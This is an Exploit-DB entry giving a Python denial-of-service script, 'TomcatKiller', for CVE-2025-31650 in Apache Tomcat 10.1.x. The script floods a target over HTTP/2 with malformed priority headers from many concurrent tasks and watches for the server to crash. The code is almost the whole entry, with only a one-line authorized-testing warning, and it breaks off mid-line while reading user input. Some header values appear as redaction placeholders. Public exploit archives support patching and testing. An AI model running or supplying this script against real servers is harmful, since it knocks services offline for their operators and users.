Exploit-DB #52318
Description: Apache Tomcat 10.1.39 - Denial of Service (DoS)
Type: remote
Platform: multiple
Date: 2025-06-05
Author: Abdualhadi khalifa

Exploit:
# Exploit Title: Apache Tomcat 10.1.39 - Denial of Service (DOS)
# Author: Abdualhadi khalifa
# CVE: CVE-2025-31650

import httpx
import asyncio
import random
import urllib.parse
import sys
import socket
from colorama import init, Fore, Style

init()

class TomcatKiller:
    def __init__(self):
        self.success_count = 0
        self.error_count = 0
        self.invalid_priorities = [
            \\\"u=-1, q=2\\\",
            \\\"u=[PII_REDACTED], q=-1\\\",
            \\\"u=[PII_REDACTED], q=1.5\\\",
            \\\"u=0, q=invalid\\\",
            \\\"u=1/0, q=NaN\\\",
            \\\"u=1, q=2, invalid=param\\\",
            \\\"\\\",
            \\\"u=1, q=1, u=2\\\",
            \\\"u=[PII_REDACTED][PII_REDACTED], q=0\\\",
            \\\"u=[PII_REDACTED][PII_REDACTED], q=0\\\",
            \\\"u=, q=\\\",
            \\\"u=1, q=1, malformed\\\",
            \\\"u=1, q=, invalid\\\",
            \\\"u=-1, q=[PII_REDACTED]\\\",
            \\\"u=invalid, q=1\\\",
            \\\"u=1, q=1, extra=\\\",
            \\\"u=1, q=1; malformed\\\",
            \\\"u=1, q=1, =invalid\\\",
            \\\"u=0, q=0, stream=invalid\\\",
            \\\"u=1, q=1, priority=recursive\\\",
            \\\"u=1, q=1, %invalid%\\\",
            \\\"u=0, q=0, null=0\\\",
        ]

    async def validate_url(self, url):
        try:
            parsed_url = urllib.parse.urlparse(url)
            if not parsed_url.scheme or not parsed_url.hostname:
                raise ValueError(\\\"Invalid URL format. Use http:// or https://\\\")
            host = parsed_url.hostname
            port = parsed_url.port if parsed_url.port else (443 if parsed_url.scheme == \\\'https\\\' else 80)
            return host, port
        except Exception:
            print(f\\\"{Fore.RED}Error: Invalid URL. Use http:// or https:// format.{Style.RESET_ALL}\\\")
            sys.exit(1)

    async def check_http2_support(self, host, port):
        async with httpx.AsyncClient(http2=True, verify=False, timeout=5, limits=httpx.Limits(max_connections=1000)) as client:
            try:
                response = await client.get(f\\\"https://{host}:{port}/\\\", headers={\\\"user-agent\\\": \\\"TomcatKiller\\\"})
                if response.http_version == \\\"HTTP/2\\\":
                    print(f\\\"{Fore.GREEN}HTTP/2 supported! Proceeding ...{Style.RESET_ALL}\\\")
                    return True
                else:
                    print(f\\\"{Fore.YELLOW}Error: HTTP/2 not supported. This exploit requires HTTP/2.{Style.RESET_ALL}\\\")
                    return False
            except Exception:
                print(f\\\"{Fore.RED}Error: Could not connect to {host}:{port}.{Style.RESET_ALL}\\\")
                return False

    async def send_invalid_priority_request(self, host, port, num_requests, task_id):
        async with httpx.AsyncClient(http2=True, verify=False, timeout=0.3, limits=httpx.Limits(max_connections=1000)) as client:
            url = f\\\"https://{host}:{port}/\\\"
            for i in range(num_requests):
                headers = {
                    \\\"priority\\\": random.choice(self.invalid_priorities),
                    \\\"user-agent\\\": f\\\"TomcatKiller-{task_id}-{random.randint(1, 1000000)}\\\",
                    \\\"cache-control\\\": \\\"no-cache\\\",
                    \\\"accept\\\": f\\\"*/*; q={random.random()}\\\",
                }
                try:
                    await client.get(url, headers=headers)
                    self.success_count += 1
                except Exception:
                    self.error_count += 1

    async def monitor_server(self, host, port):
        while True:
            try:
                with socket.create_connection((host, port), timeout=2):
                    print(f\\\"{Fore.YELLOW}Target {host}:{port} is reachable.{Style.RESET_ALL}\\\")
            except Exception:
                print(f\\\"{Fore.RED}Target {host}:{port} unreachable or crashed!{Style.RESET_ALL}\\\")
                break
            await asyncio.sleep(2)

    async def run_attack(self, host, port, num_tasks, requests_per_task):
        print(f\\\"{Fore.GREEN}Starting attack on {host}:{port}...{Style.RESET_ALL}\\\")
        print(f\\\"Tasks: {num_tasks}, Requests per task: {requests_per_task}\\\")
        print(f\\\"{Fore.YELLOW}Monitor memory manually via VisualVM or check catalina.out for OutOfMemoryError.{Style.RESET_ALL}\\\")

        monitor_task = asyncio.create_task(self.monitor_server(host, port))
        tasks = [self.send_invalid_priority_request(host, port, requests_per_task, i) for i in range(num_tasks)]
        await asyncio.gather(*tasks)
        monitor_task.cancel()

        total_requests = num_tasks * requests_per_task
        success_rate = (self.success_count / total_requests * 100) if total_requests > 0 else 0
        print(f\\\"\\\\n{Fore.MAGENTA}===== Attack Summary ====={Style.RESET_ALL}\\\")
        print(f\\\"Target: {host}:{port}\\\")
        print(f\\\"Total Requests: {total_requests}\\\")
        print(f\\\"Successful Requests: {self.success_count}\\\")
        print(f\\\"Failed Requests: {self.error_count}\\\")
        print(f\\\"Success Rate: {success_rate:.2f}%\\\")
        print(f\\\"{Fore.MAGENTA}========================={Style.RESET_ALL}\\\")

async def main():
    print(f\\\"{Fore.BLUE}===== TomcatKiller - CVE-2025-31650 ====={Style.RESET_ALL}\\\")
    print(f\\\"Developed by: @absholi7ly\\\")
    print(f\\\"Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers.\\\")
    print(f\\\"{Fore.YELLOW}Warning: For authorized testing only. Ensure HTTP/2 and vulnerable Tomcat version.{Style.RESET_ALL}\\\\n\\\")

    url = input(f\\\"{Fore.CYAN}Enter target URL (e.g., https://localhost:8443): {Style.RESET_ALL}\\\")
    num_tasks = int(input(f\\\"{Fore.CYAN}Enter number of tasks (default 300): {Style.RES